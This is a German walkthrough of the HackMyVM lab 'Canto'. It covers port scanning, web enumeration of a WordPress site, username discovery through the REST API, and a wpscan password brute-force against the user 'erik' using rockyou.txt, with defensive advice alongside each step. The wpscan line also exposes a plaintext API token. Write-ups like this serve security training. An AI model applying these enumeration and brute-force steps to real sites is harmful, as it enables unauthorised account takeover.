Canto - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

nmap
curl
nikto
gobuster
wpscan
git
python3
nc
mysql
john
find
uname
getcap
cpulimit
su

Inhaltsverzeichnis

Reconnaissance

Meine initiale Aufklärung begann mit der Identifizierung der Ziel-IP-Adresse und ihres Hostnamens. Dies ist ein grundlegender, aber entscheidender erster Schritt, um das Zielsystem im Netzwerk genau zu lokalisieren und zu benennen.

Durch die Überprüfung der Hosts-Datei konnte ich sehen, dass die IP-Adresse 192.168.2.57 dem Hostnamen "canto.hmv" zugeordnet ist. Dies ist oft ein Hinweis auf interne DNS-Konfigurationen oder einfach eine lokale Bequemlichkeit, die mir hilft, das Ziel direkt über seinen Namen anzusprechen.

hosts..

192.168.2.57   canto.hmv 

Analyse: Die Zuordnung von IP zu Hostname ist etabliert. Dies ermöglicht die Verwendung des Hostnamens in nachfolgenden Befehlen, was die Lesbarkeit erhöht und in komplexeren Szenarien auf interne DNS-Strukturen hinweisen kann. Für diesen einfachen Test ist es primär eine Namensauflösung.

Bewertung: Der Fund ist von geringer technischer Bedeutung, da die IP-Adresse direkt nutzbar ist. Für die Dokumentation und das Verständnis der Systemlandschaft ist es jedoch nützlich.

Empfehlung (Pentester): Nutze den Hostnamen "canto.hmv" in Befehlen, wo es möglich und klar ist. Bestätige bei Bedarf die Auflösung mittels `ping` oder `dig`.
Empfehlung (Admin): Stelle sicher, dass die Hostnamen-Auflösung korrekt konfiguriert ist, falls sie für interne Dienste relevant ist. Überprüfe, ob unnötige Hostnamen öffentlich gemacht werden.

Um die physikalische Adresse des Ziels im lokalen Netzwerk zu bestätigen, habe ich einen ARP-Scan durchgeführt. Dies ist besonders nützlich, um zu verifizieren, dass das Zielsystem im selben Subnetz wie mein Angreifersystem liegt und aktiv antwortet.

▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
:::::::::::::::::::::::::::::::::: ARP-Scan ::::::::::::::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

192.168.2.57	08:00:27:2f:f7:f6	PCS Systemtechnik GmbH 

Analyse: Der ARP-Scan hat die MAC-Adresse des Zielsystems (08:00:27:2f:f7:f6) für die IP-Adresse 192.168.2.57 identifiziert. Die Vendor-Information "PCS Systemtechnik GmbH" deutet auf eine virtuelle Netzwerkkarte hin, was bei virtuellen Maschinen wie dieser HackMyVM zu erwarten ist (häufig Oracle VirtualBox).

Bewertung: Die Identifizierung der MAC-Adresse bestätigt die Existenz und Erreichbarkeit des Hosts im lokalen Netzwerksegment. Die Vendor-Info liefert einen Hinweis auf die zugrundeliegende Virtualisierungsplattform, was bei der Einschätzung des Ziels hilfreich sein kann.

Empfehlung (Pentester): Diese Information ist für die Netzwerktopologie nützlich. Bei realen Umgebungen kann die Vendor-Info Hinweise auf Hardware-Typen geben.
Empfehlung (Admin): Stelle sicher, dass nur notwendige Hosts im lokalen Netz sichtbar sind. Sei dir bewusst, dass MAC-Adressen in virtuellen Umgebungen standardmäßig zugewiesen werden und Rückschlüsse auf die Plattform erlauben können.

Der nächste Schritt in der Reconnaissance ist das Scannen auf offene Ports, um die Angriffsfläche des Zielsystems zu verstehen. Ich habe einen schnellen Nmap-Scan gestartet, der mir nur die essentiellen Informationen zu offenen Ports liefert.

22/tcp open ssh     OpenSSH 9.3p1 Ubuntu 1ubuntu3.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http    Apache httpd 2.4.57 ((Ubuntu))

Analyse: Dieser schnelle Nmap-Scan hat zwei offene TCP-Ports identifiziert: Port 22 (SSH) und Port 80 (HTTP). Die grundlegenden Dienstinformationen zeigen, dass auf Port 22 OpenSSH läuft und auf Port 80 ein Apache HTTP-Server. Die Versionen werden ebenfalls kurz aufgeführt.

Bewertung: Die offenen Ports 22 und 80 sind typisch für Linux-Webserver. Sie definieren die primäre Angriffsfläche für weitere Enumerations- und Zugriffsversuche (SSH für Remote-Login, HTTP für Webanwendungen).

Empfehlung (Pentester): Konzentriere die weitere Enumeration auf diese beiden Dienste. Untersuche SSH auf schwache Anmeldedaten oder bekannte Schwachstellen und die Webanwendung auf Port 80 auf Verzeichnisse, Dateien, Technologien und Konfigurationsprobleme.
Empfehlung (Admin): Stelle sicher, dass nur notwendige Dienste öffentlich zugänglich sind. Prüfe die Konfiguration von SSH (z.B. nur Public-Key-Authentifizierung, kein Root-Login) und halte die Webserver-Software (Apache, Webanwendung) aktuell.

Für eine detailliertere Einsicht in die offenen Dienste und das Zielsystem habe ich einen umfassenderen Nmap-Scan mit Skripten und Versionserkennung durchgeführt. Dieser Scan liefert tiefere Informationen, die für die Identifizierung potenzieller Schwachstellen unerlässlich sind.

Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-06-23 15:10 CEST
Nmap scan report for canto.hmv (192.168.2.57)
Host is up (0.00016s latency).
Not shown: 65533 closed tcp PORTs (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.3p1 Ubuntu 1ubuntu3.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c6:af:18:21:fa:3f:3c:fc:9f:e4:ef:04:c9:16:cb:c7 (ECDSA)
|_  256 ba:0e:8f:0b:24:20:dc:75:b7:1b:04:a1:81:b6:6d:64 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Ubuntu))
|_http-server-header: Apache/2.4.57 (Ubuntu)
|_http-title: Canto
|_http-generator: WordPress 6.8.1
MAC Address: 08:00:27:2F:F7:F6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.16 ms canto.hmv (192.168.2.57)

OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/] .
Nmap done: 1 IP address (1 host up) scanned in 10.46 seconds 

Analyse: Der detaillierte Nmap-Scan bestätigt die offenen Ports 22 (SSH) und 80 (HTTP) mit den identifizierten Diensten und Versionen (OpenSSH 9.3p1, Apache httpd 2.4.57). Die SSH-Hostkeys werden angezeigt, was standardmäßig bei einem solchen Scan passiert. Für Port 80 (HTTP) liefert Nmap wertvolle zusätzliche Informationen über die Webanwendung: den Server-Header (Apache/2.4.57), den HTTP-Titel "Canto" und, ganz wichtig, den Generator-Meta-Tag, der auf **WordPress 6.8.1** hinweist. Die MAC-Adresse und Vendor-Info (VirtualBox) sowie die OS-Erkennung (verschiedene Linux-Kernel-Versionen werden als möglich genannt, was typisch für OS-Fingerprinting-Ergebnisse ist) sind ebenfalls vorhanden.

Bewertung: Dieser Scan liefert kritische Informationen. Die Identifizierung von WordPress als Webanwendung auf Port 80 verschiebt den Fokus der Web-Enumeration hin zu bekannten WordPress-Angriffsvektoren (Plugins, Themes, Benutzeraufzählung). Die spezifischen Versionen (OpenSSH 9.3p1, Apache 2.4.57, WordPress 6.8.1) sind Ausgangspunkte für die Suche nach bekannten Schwachstellen (CVEs). Die OS-Details sind hilfreich, um die Zielplattform zu verstehen, sind aber oft Schätzungen.

Empfehlung (Pentester): Konzentriere dich nun stark auf die WordPress-Installation. Nutze spezialisierte Tools wie WPScan zur Enumeration von Plugins, Themes und Benutzern sowie zur Überprüfung auf bekannte Schwachstellen in WordPress Core, installierten Plugins und Themes. Untersuche die spezifischen Versionen von OpenSSH und Apache auf bekannte Schwachstellen, obwohl Webanwendungen bei WordPress-Sites oft der vielversprechendere Vektor sind.
Empfehlung (Admin): Halte WordPress Core, alle Plugins und Themes stets aktuell. Entferne nicht benötigte Plugins und Themes. Überprüfe die Sicherheitseinstellungen von Apache und SSH. Implementiere eine Content Security Policy (CSP) und X-Frame-Options, wie im nächsten Schritt (Curl) identifiziert.

Web Enumeration

Nachdem Nmap die Webanwendung als WordPress identifiziert hat, ist eine detailliertere Web-Enumeration notwendig, um die Angriffsfläche weiter zu kartieren. Ich beginne mit einem einfachen HEAD-Request, um die Server-Header zu prüfen, was oft schnelle Hinweise auf die verwendete Technologie und Sicherheitskonfigurationen liefert.

┌──(root㉿CCat)-[~] └─# curl -Iv http://192.168.2.57/ -s
*   Trying 192.168.2.57:80...
* Connected to 192.168.2.57 (192.168.2.57) PORT 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.57
> User-Agent: curl/8.13.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Date: Mon, 23 Jun 2025 13:11:28 GMT
Date: Mon, 23 Jun 2025 13:11:28 GMT
< Server: Apache/2.4.57 (Ubuntu)
Server: Apache/2.4.57 (Ubuntu)
< Link: <http://192.168.2.57/index.php/wp-json/>; rel="https://api.w.org/"
Link: <http://192.168.2.57/index.php/wp-json/>; rel="https://api.w.org/"
< Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
<

* Connection #0 to host 192.168.2.57 left intact 

Analyse: Der HEAD-Request bestätigt, dass der Webserver mit einem 200 OK Status auf die Hauptseite antwortet. Die Server-Header bestätigen den Apache 2.4.57 auf Ubuntu. Der `Link`-Header mit `rel="https://api.w.org/"` ist ein starker Hinweis auf die aktive WordPress REST API, was für die Benutzeraufzählung nützlich sein kann. Die fehlenden X-Frame-Options und X-Content-Type-Options (wie im Nikto-Scan später genauer identifiziert) deuten auf fehlende Hardening-Maßnahmen hin.

Bewertung: Die Header liefern eine schnelle Bestätigung der Technologie (Apache) und enthüllen die Existenz der REST API. Das Fehlen wichtiger Sicherheits-Header ist eine niedrige Schwachstelle, die auf Cross-Site Scripting (XSS) oder Clickjacking-Angriffe hinweisen könnte, falls an anderer Stelle im Code Schwachstellen existieren.

Empfehlung (Pentester): Untersuche die REST API auf mögliche Endpunkte zur Informationsgewinnung (z.B. Benutzer). Notiere die fehlenden Sicherheits-Header.
Empfehlung (Admin): Implementiere die HTTP-Sicherheits-Header `X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy` und `Strict-Transport-Security` (falls HTTPS verwendet wird), um gängige Web-Schwachstellen abzumildern.

Als nächstes habe ich den Web-Schwachstellen-Scanner Nikto eingesetzt. Nikto ist ein automatisiertes Tool, das eine Vielzahl bekannter Webserver-Schwachstellen, Konfigurationsfehler und problematische Dateien überprüft.

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.57
+ Target Hostname:    192.168.2.57
+ Target PORT:        80
+ Start Time:         2025-06-23 15:11:28 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.57 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: Drupal Link header found with value: <http://192.168.2.57/index.php/wp-json/>; rel="https://api.w.org/". See: [Link: https://www.drupal.org/ | Ziel: https://www.drupal.org/]  // Hinweis: Dies ist ein False Positive, da es sich um eine WordPress-API handelt, die fälschlicherweise als Drupal-Link interpretiert wird.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ /index.php?: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wp-links-opml.php: This WordPress scrpt reveals the installed version.
+ /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information.
+ /wp-login.php: Wordpress login found.
+ 8102 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2025-06-23 15:11:49 (GMT2) (21 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Nikto bestätigt die WordPress-Installation und identifiziert mehrere interessante Punkte: Fehlende X-Frame-Options und X-Content-Type-Options (entspricht der Curl-Analyse), das Vorhandensein von `xmlrpc.php` (bekannt für Angriffe wie Brute-Force oder DDoS), `readme.html`, `wp-links-opml.php`, `license.txt` (Dateien, die Versionsinformationen preisgeben können), `wp-login.php` (die Anmeldeseite), und das Browsen des `wp-content/uploads/`-Verzeichnisses ist möglich. Der Hinweis auf den Drupal-Link ist ein False Positive, da es sich um die WordPress REST API handelt. Der Akismet-Plugin-Hinweis ist interessant, aber nicht kritisch.

Bewertung: Nikto hat mehrere informative und potenziell schwachstellenrelevante Funde geliefert. Das Fehlen von Sicherheits-Headern und das aktivierte Verzeichnis-Listing unter `/wp-content/uploads/` sind geringe bis mittlere Schwachstellen, die im Kontext anderer Funde relevanter werden könnten. Das Vorhandensein von `xmlrpc.php` und `wp-login.php` bestätigt Standard-WordPress-Komponenten, die oft Ziel von Brute-Force-Angriffen sind.

Empfehlung (Pentester): Nutze die Informationen über `xmlrpc.php` und `wp-login.php` für mögliche Brute-Force-Angriffe, falls Benutzerkonten identifiziert werden (was als nächstes folgt). Untersuche den Inhalt von `/wp-content/uploads/` auf sensible Dateien. Berücksichtige die fehlenden Sicherheits-Header, falls XSS- oder Clickjacking-Angriffe in Frage kommen.
Empfehlung (Admin): Deaktiviere das Verzeichnis-Listing auf dem Webserver. Implementiere die fehlenden Sicherheits-Header. Schütze `xmlrpc.php` (z.B. per `.htaccess` blockieren, wenn nicht benötigt) und `wp-login.php` (z.B. durch Rate Limiting, IP-Whitelisting oder Zwei-Faktor-Authentifizierung) vor Brute-Force-Angriffen.

Parallel zum Nikto-Scan habe ich Gobuster verwendet, ein Tool, das Verzeichnisse und Dateien auf dem Webserver anhand einer Wortliste durchsucht. Dies hilft, versteckte oder vergessene Ressourcen zu entdecken.

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.57
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   503,404,403
[+] User Agent:              gobuster/3.6
[+] Extensions:              zip,exe,lib,php,kdbx,crt,aspx,jpg,bak,pem,rpm,exp,txt,xls,sql,jpeg,java,xml,ELF,config,desc,tar,mdb,accdb,svg,icon,mod,docx,bat,json,conf,csh,dll,eps,doc,c,cgi,old,ps1,pl,rtf,ln,sh,csv,pdf,diff,deb,rar,gz,xlsx,pub,db,png,html,js.map,asp,py,phtml,raw,elf,pHtml
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.57/index.php            (Status: 301) [Size: 0] [--> http://192.168.2.57/]
http://192.168.2.57/wp-content           (Status: 301) [Size: 317] [--> http://192.168.2.57/wp-content/]
http://192.168.2.57/wp-login.php         (Status: 200) [Size: 5194]
http://192.168.2.57/license.txt          (Status: 200) [Size: 19903]
http://192.168.2.57/wp-includes          (Status: 301) [Size: 318] [--> http://192.168.2.57/wp-includes/]
http://192.168.2.57/readme.html          (Status: 200) [Size: 7425]
http://192.168.2.57/wp-trackback.php     (Status: 200) [Size: 135]
http://192.168.2.57/wp-admin             (Status: 301) [Size: 315] [--> http://192.168.2.57/wp-admin/]
http://192.168.2.57/xmlrpc.php           (Status: 405) [Size: 42]
http://192.168.2.57/wp-signup.php        (Status: 302) [Size: 0] [--> http://1968.2.57/wp-login.php?action=register]
Progress: 13673914 / 13673976 (100.00%)
===============================================================
Finished
===============================================================

Analyse: Gobuster bestätigt viele der von Nikto gefundenen Pfade (wp-content, wp-login.php, license.txt, wp-includes, readme.html, wp-admin, xmlrpc.php) und identifiziert zusätzliche WordPress-spezifische Dateien wie `index.php`, `wp-trackback.php` und `wp-signup.php`. Die 301-Redirects für Verzeichnisse wie `wp-content`, `wp-includes` und `wp-admin` sind normal. Der 405 Method Not Allowed für `xmlrpc.php` bedeutet, dass GET/HEAD-Requests nicht erlaubt sind, aber andere Methoden (POST) sehr wohl funktionieren können. Der 302-Redirect für `wp-signup.php` auf die Login-Seite mit Register-Aktion ist ebenfalls Standardverhalten.

Bewertung: Die Gobuster-Ergebnisse ergänzen die Nikto-Funde und geben eine umfassendere Übersicht über die erreichbaren WordPress-Dateien und -Verzeichnisse. Dies bestärkt die Annahme, dass WordPress das Hauptziel für weitere Angriffe ist. Die identifizierten Pfade sind Standard, aber ihre Existenz ist ein notwendiger Schritt im Enumerationsprozess.

Empfehlung (Pentester): Verwende die gesammelten Pfade, insbesondere `wp-login.php` und `xmlrpc.php`, für potenzielle Brute-Force-Angriffe. Behalte den Pfad zu `/wp-content/` im Hinterkopf für die Enumeration von Plugins und Themes.
Empfehlung (Admin): Überprüfe die Notwendigkeit und Konfiguration aller öffentlichen WordPress-Dateien und Verzeichnisse. Beschränke den Zugriff auf Dateien wie `xmlrpc.php` und `wp-login.php` auf vertrauenswürdige Quellen.

Nachdem ich wusste, dass WordPress läuft, habe ich mich auf die Enumeration von Benutzern konzentriert. Die WordPress REST API (oft unter `/wp-json/wp/v2/users/`) kannstandardmäßig die Benutzernamen preisgeben. Ich habe dies mittels `curl` überprüft, indem ich versucht habe, Informationen für Benutzer-IDs abzurufen.

┌──(root㉿CCat)-[~] └─# curl -Iv http://192.168.2.57/index.php/wp-json/WP/V2/users/1 -s| grep 'HTTP/1.1'
*   Trying 192.168.2.57:80...
* Connected to 192.168.2.57 (192.168.2.57) PORT 80
* using HTTP/1.x
> HEAD /index.php/wp-json/WP/V2/users/1 HTTP/1.1
> Host: 192.168.2.57
> User-Agent: curl/8.13.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Mon, 23 Jun 2025 13:41:46 GMT
< Server: Apache/2.4.57 (Ubuntu)
< X-Robots-Tag: noindex
< Link: <http://192.168.2.57/index.php/wp-json/>; rel="https://api.w.org/"
< X-Content-Type-Options: nosniff
< Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
< Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
< Allow: GET
< Content-Type: application/json; charset=UTF-8
<
* Connection #0 to host 192.168.2.57 left intact
HTTP/1.1 200 OK

Analyse: Der Versuch, Informationen für Benutzer-ID 1 über die REST API abzurufen, führte zu einer Antwort mit dem Statuscode `HTTP/1.1 200 OK`. Dies bedeutet, dass ein Benutzer mit der ID 1 existiert und die API bereit ist, Informationen über diesen Benutzer herauszugeben (zumindest im Rahmen dessen, was über diesen Endpunkt verfügbar ist). Der `grep 'HTTP/1.1'` filtert die Ausgabe, um schnell den Statuscode zu sehen.

Bewertung: Ein `200 OK` auf einen Benutzer-ID-Endpunkt der REST API ist ein klarer Hinweis darauf, dass der Benutzer mit dieser ID existiert und seine Informationen enumerierbar sind. Dies ist eine häufige Schwachstelle bei Standard-WordPress-Installationen und ein wertvoller Fund für die spätere Passwort-Attacke.

Empfehlung (Pentester): Da Benutzer-ID 1 existiert, ist es sehr wahrscheinlich der Administrator-Benutzer (Standard bei WordPress). Versuche nun, die tatsächlichen Benutzerinformationen für diese ID abzurufen (siehe nächsten Schritt). Teste auch weitere sequenzielle IDs, um andere Benutzer zu finden.
Empfehlung (Admin): Deaktiviere die Benutzeraufzählung über die REST API, falls sie nicht zwingend benötigt wird. Dies kann oft durch Plugins oder Code-Snippets in der `functions.php` des Themes geschehen. Erwäge die Verwendung von Obfuscated User IDs oder schränke den API-Zugriff auf authentifizierte Benutzer ein.

Ich habe direkt im Anschluss geprüft, ob ein Benutzer mit der ID 2 existiert. Das ist eine schnelle Methode, um zu sehen, ob es weitere Benutzer gibt, indem man die IDs sequenziell durchgeht.

┌──(root㉿CCat)-[~] └─# curl -Iv http://192.168.2.57/index.php/wp-json/WP/V2/users/2 -s| grep 'HTTP/1.1'
*   Trying 192.168.2.57:80...
* Connected to 192.168.2.57 (192.168.2.57) PORT 80
* using HTTP/1.x
> HEAD /index.php/wp-json/WP/V2/users/2 HTTP/1.1
> Host: 192.168.2.57
> User-Agent: curl/8.13.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 404 Not Found
< Date: Mon, 23 Jun 2025 13:42:00 GMT
< Server: Apache/2.4.57 (Ubuntu)
< X-Robots-Tag: noindex
< Link: <http://192.168.2.57/index.php/wp-json/>; rel="https://api.w.org/"
< X-Content-Type-Options: nosniff
< Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
< Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
< Content-Type: application/json; charset=UTF-8
<
* Connection #0 to host 192.168.2.57 left intact
HTTP/1.1 404 Not Found

Analyse: Der Versuch, Benutzer-ID 2 abzurufen, resultierte in einem `HTTP/1.1 404 Not Found` Statuscode. Dies bestätigt, dass kein Benutzer mit dieser spezifischen ID auf dem System existiert oder zumindest nicht über diesen Endpunkt verfügbar gemacht wird.

Bewertung: Der 404-Status ist das erwartete Ergebnis für eine nicht existierende Ressource. In diesem Kontext bedeutet es, dass es wahrscheinlich nur einen einzigen Benutzer auf diesem WordPress-System gibt, nämlich den mit ID 1. Dies reduziert die Anzahl potenzieller Benutzernamen für Brute-Force-Angriffe erheblich.

Empfehlung (Pentester): Konzentriere dich auf die Informationsbeschaffung und die spätere Passwort-Attacke für den Benutzer mit ID 1. Es ist unwahrscheinlich, dass durch weiteres sequenzielles Abfragen von IDs zusätzliche Benutzer gefunden werden.
Empfehlung (Admin): Dies bestätigt, dass zwar einzelne Benutzer-IDs prüfbar sind, aber das System nicht unnötig viele Standard-Benutzer-IDs bereitstellt. Dennoch sollte die API-Benutzeraufzählung, wie zuvor empfohlen, deaktiviert werden, um auch die Existenz einzelner Benutzer zu verbergen.

Nachdem bestätigt war, dass Benutzer-ID 1 existiert, habe ich den `jq`-Filter verwendet, um die vollständige JSON-Ausgabe für diesen Benutzer zu parsen und die relevanten Informationen, insbesondere den Benutzernamen, zu extrahieren.

┌──(root㉿CCat)-[~] └─# curl http://192.168.2.57/index.php/wp-json/WP/V2/users/1 -s| jq
{
  "id": 1,
  "name": "erik",
  "url": "http://192.168.1.36",
  "description": "",
  "link": "http://192.168.2.57/index.php/author/erik/",
  "slug": "erik",
  "avatar_urls": {
    "24": "https://secure.gravatar.com/avatar/87924606b4131a8aceeeae8868531fbb9712aaa07a5d3a756b26ce0f5d6ca674?s=24&d=mm&r=g",
    "48": "https://secure.gravatar.com/avatar/87924606b4131a8aceeeae8868531fbb9712aaa07a5d3a756b26ce0f5d6ca674?s=48&d=mm&r=g",
    "96": "https://secure.gravatar.com/avatar/87924606b4131a8aceeeae8868531fbb9712aaa07a5d3a756b26ce0f5d6ca674?s=96&d=mm&r=g"
  },
  "meta": [],
  "_links": {
    "self": [
      {
        "href": "http://192.168.2.57/index.php/wp-json/wp/v2/users/1",
        "targetHints": {
          "allow": [
            "GET"
          ]
        }
      }
    ],
    "collection": [
      {
        "href": "http://192.168.2.57/index.php/wp-json/wp/v2/users"
      }
    ]
  }
}

Analyse: Die JSON-Ausgabe für Benutzer-ID 1 wurde erfolgreich abgerufen und von `jq` formatiert. Das wichtigste Feld hier ist `"name"`, das den Benutzernamen `"erik"` preisgibt. Weitere Informationen wie URL, Link zum Autoren-Archiv, Slug und Gravatar-URLs sind ebenfalls enthalten.

Bewertung: Die erfolgreiche Extraktion des Benutzernamens `"erik"` ist ein kritischer Fortschritt. Dieser Benutzername kann nun direkt für Authentifizierungsversuche verwendet werden, insbesondere für Brute-Force-Angriffe auf `wp-login.php` oder `xmlrpc.php`. Die Fähigkeit, Benutzernamen über die API zu erhalten, ist eine signifikante Informationslecks-Schwachstelle.

Empfehlung (Pentester): Verwende den Benutzernamen `"erik"` als Ziel für Brute-Force-Angriffe. Priorisiere Passwortlisten, die gängige oder themenbezogene Passwörter enthalten könnten.
Empfehlung (Admin): Deaktiviere die Benutzeraufzählung über die REST API (erneut betont). Sensibilisiere Benutzer für die Wahl starker, einzigartiger Passwörter. Implementiere eine Sperrmechanismus für fehlgeschlagene Login-Versuche.

Um eine umfassende Analyse der WordPress-Installation durchzuführen und nach bekannten Schwachstellen in Core, Themes und Plugins zu suchen, habe ich das spezialisierte Tool WPScan eingesetzt. WPScan ist für WordPress-Penetrationstests optimiert und automatisiert viele Erkennungsschritte. Ich habe es auch genutzt, um einen ersten Brute-Force-Versuch mit dem gefundenen Benutzernamen und einer gängigen Wortliste durchzuführen.

┌──(root㉿CCat)-[~] └─# wpscan --url http://canto.hmv --enumerate vp --plugins-detection aggressive --api-token RoBoAaM72LLsihOlqUJrA1EleT6AJAd9QxQ9rbmQNCY --usernames erik --passwords /usr/share/wordlists/rockyou.txt
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|\'_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - [Link: https://automattic.com/ | Ziel: https://automattic.com/]
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.

[+] URL: http://canto.hmv/ [192.168.2.57]
[+] Started: Mon Jun 23 16:05:45 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.57 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://canto.hmv/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - [Link: http://codex.wordpress.org/XML-RPC_Pingback_API | Ziel: http://codex.wordpress.org/XML-RPC_Pingback_API]
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/]
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/]
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/]
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/]

[+] WordPress readme found: http://canto.hmv/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://canto.hmv/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://canto.hmv/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - [Link: https://www.iplocation.net/defend-wordpress-from-ddos | Ziel: https://www.iplocation.net/defend-wordpress-from-ddos]
 |  - [Link: https://github.com/wpscanteam/wpscan/issues/1299 | Ziel: https://github.com/wpscanteam/wpscan/issues/1299]

[+] WordPress version 6.8.1 identified (Latest, released on 2025-04-30).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://canto.hmv/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=6.8.1'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://canto.hmv/, Match: 'WordPress 6.8.1'

[+] WordPress theme in use: twentytwentyfour
 | Location: http://canto.hmv/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://canto.hmv/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.3
 | [!] Directory listing is enabled
 | Style URL: http://canto.hmv/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: [Link: https://wordpress.org/themes/twentytwentyfour/ | Ziel: https://wordpress.org/themes/twentytwentyfour/]
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: [Link: https://wordpress.org | Ziel: https://wordpress.org]
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://canto.hmv/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'

[+] Enumerating Vulnerable Plugins (via Aggressive Methods)
